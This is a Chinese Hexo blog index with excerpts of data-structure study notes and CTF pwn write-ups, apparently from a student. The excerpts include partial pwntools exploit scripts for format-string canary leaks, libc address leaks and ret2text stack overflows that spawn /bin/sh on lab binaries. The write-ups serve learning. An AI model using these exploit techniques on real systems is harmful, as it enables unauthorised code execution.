链表
嘤嘤嘤当初数据结构没学好,只能现在来补啦
链表(linked-list):链表就是线性表的链式存储方式。链表的内存是不连续的,前一个元素存储地址的下一个地址中存储的不一定是下一个元素。链表通过一个指向下一个元素地址的引用将链表中的元素串起来。
单向链表
单向链表就如图所示
1234head为头指针head->val=data1;head->next=data2的指针域head->next->val=data2
操作创建链表123456789101112131415161718192021typedef struct node{ int val; struct node* next;}Node;Node* CreateNode(int val){ Node* newnode=(Node*)malloc(sizeof(Node)); //创建一个链表 if(newnode==NULL) //判断链表是否是空链表 { cout<<" ...
欢乐赛1
for的wp0x00分析第一步看保护
很显然这道题开了canary,我们再仔细观察栈的时候会发现存在格式化字符串漏洞和栈溢出漏洞,并有后门函数存在
右后门函数,但因为存在canary保护,我们不能直接调用后门函数,但我们可以通过格式化字符串漏洞来泄露canary的值,再覆盖system的地址。
从上图我们可以很清楚的看到格式化字符串的偏移是7
从上图我们可以知道canary在字符串的实际参数后32个,对于格式化字符串就是32+7=39个
0x01exp123456789101112131415161718from pwn import *io=process('./for')context.log_level = 'debug'system_binsh_addr = 0x0804876Bio.sendlineafter("APP","2")payload="%39$p"io.sendline(payload)io.recvuntil("0x")canary = int(io.recv(8),16)print hex(canary)io.sendlineafter("exit ...
顺序栈
大限将至,咸鱼的我决定开始极限复习数据结构,零零散散记一些笔记吧。
基础概念
栈类的定义12345678910111213141516171819202122232425262728293031const int MAX_SIZE=100; //定义栈最大值常量class Stack{ private: char *data; //属性:线性表 int size; //属性:堆栈的实际大小 int top; //属性:栈顶 public: Stack(); //构造函数 Stack(int s); //有参构造函数 ~Stack(); //析构函数 void push(char ch); //成员函数:入栈 char pop(); //成员函数:出栈并返回栈顶元素 char get ...
入门题题解
baby_栈溢出根据题目我们可以知悉这是一道简单的栈溢出题,那么我们就需要知道什么是栈溢出,我们又应该如何处理这道题呢?
预备知识一、栈溢出攻击原理缓冲区溢出的简单介绍缓冲区溢出:简单地说,缓冲区溢出就是超长的数据向小缓冲区复制,导致数据超出了小缓冲区,导致缓冲区其他的数据遭到破坏,这就是缓冲区溢出。而栈溢出是缓冲区溢出的一种,也是最常见的。只不过栈溢出发生在栈,堆溢出发生在堆。
栈的简单介绍栈(stack),它是一种运算受限的线性表,其限制是仅允许在表的一端进行插入和删除运算。人们把此端称为栈顶,栈顶的第一个元素被称为栈顶元素,相对地,把另一端称为栈底。向一个栈插入新元素又称为进栈或入栈,它是把该元素放到栈顶元素的上面,使之成为新的栈顶元素;从一个栈删除元素又称为出栈或退栈,它是把栈顶元素删除掉,使其下面的相邻元素成为新的栈顶元素。形象点说,就像洗碗,我们洗好的碗摞在一起,新洗好放在最上面是进栈,而我们把最上面的那个碗叫栈顶元素,当我们拿走最上面那个碗时叫出栈。也就是由于栈的插入和删除运算仅在栈顶一端进行,所以后进栈的元素必定先出栈。
栈溢出攻击因为栈空间内保存了函数的返回地址。该地 ...
gactf
最近几天打的比赛复现一下
MiscSignIn这道题就是拼图拼一下,扫一下二维码就出来了
Crymisc这道题我花了蛮久时间的,还是不会,最后是去看了其他师傅的wp,才看懂
他给的是一个.docx文件,把这个文件放到010 Editor里可以看到
我们可以很清楚的看到里面有PK,这告诉我们这是一个压缩包,就直接把文件的后缀名改成是.zip
打开这个压缩包,我们能看到里面有两个文件,其中3.jpg是加密的
我们先把那个不需要密码的1.txt打开,没有啥有用的信息,这时候我们就要考虑crymisc.zip采取的是伪加密,把它放入010 Editor看到确实是伪加密,那我们只需要将圈起来的地方改为00就破除了伪加密。
打开了3.jpg没啥有用的信息,我们就把它还是拖到010 Editor里分析,发现了一段太过规整的字符串,考虑base解密,然后得到了密钥
我们可以发现直接改后缀名解压是行不通的这时候,我们可以选择这段复制到新的十六制文件中,还有不要忘了加文件名PK(50 4B)
之后我们就可以把crymisc.txt文件解压出来,之后我们打开这个文件就发现了一串emoji
接 ...
周练一(1)
第一次周练中的ciscn_s_3中有涉及到SROP知识点,复习一下
ciscn_s_3放到gdb里看一下保护没开什么特别的保护,丢到ida里面看看,它main函数里面只有一个vuln函数,而vuln函数就只有短短几行,但里面有两个系统调用,一处是sys_read,向栈上读取数据(0x400),一处是sys_write,向栈上写入数据(0x30),这里就存在栈溢出。然后还发现一个gadgets函数,在这个函数中有两处出现了给rax赋值,分别赋值0x0F,0x3B,然后这个涉及到系统调用号的问题。
32位与64位 系统调用的区别:
传参方式不同
系统调用号 不同
调用方式 不同
32位:传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4调用方式: 使用 int 80h 中断进行系统调用64位:传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器调用号:s ...
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick StartCreate a new post1$ hexo new "My New Post"
More info: Writing
Run server1$ hexo server
More info: Server
Generate static files1$ hexo generate
More info: Generating
Deploy to remote sites1$ hexo deploy
More info: Deployment
校赛的几道题
校赛结束了,PWN题就做出来一个贼简单的题,羞愧,反省ing
pwn1这道题直接nc,然后ls,cat flag就出来了
pwn2放到ida里面看一下,就几行代码,看起来貌似很简单的亚子(并不)没有后门函数,我就想到了泄露libc,但没想到会涉及到onegadget(我知道它,但我不知道什么时候用,比如这次)因为要泄露libc就要想到公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址!那我们就要找到函数的偏移地址,先泄露函数的真实地址
1234567891011from pwn import*c = process('./22')elf = ELF('./22')read_got = elf.got['read']payload= '%9$saaaa'+p64(read_got) #偏移是%8,又加上'aaaa'所以这里写为%9c.sendline(payload)read_addr=u64(c.recvunti ...
Rop
ctfwiki上的Basic rop的复现0x00 ret2text这道题其实就是很简单很简单的栈溢出开虚拟机,放到gdb去看一下基本信息:嗯,几乎啥保护都没有!放到ida里看一下:gets那里发生了栈溢出,用gdb算出偏移量为112。接着我在secure函数中找到了system函数,然后又找到’/bin/sh/‘:之后就可以写攻击脚本:
123456789101112from pwn import *c=process('./ret2text')system_addr=0x08048490bin_addr=0x08048763payload = ''payload += 'a'*112payload +=p32(system_addr)+p32(0)+p32(bin_addr)c.sendline(payload)c.interactive()
0x01 ret2shellcode我觉得这道题首先要介绍一下,shellcode是什么。shellcode是一段用于利 ...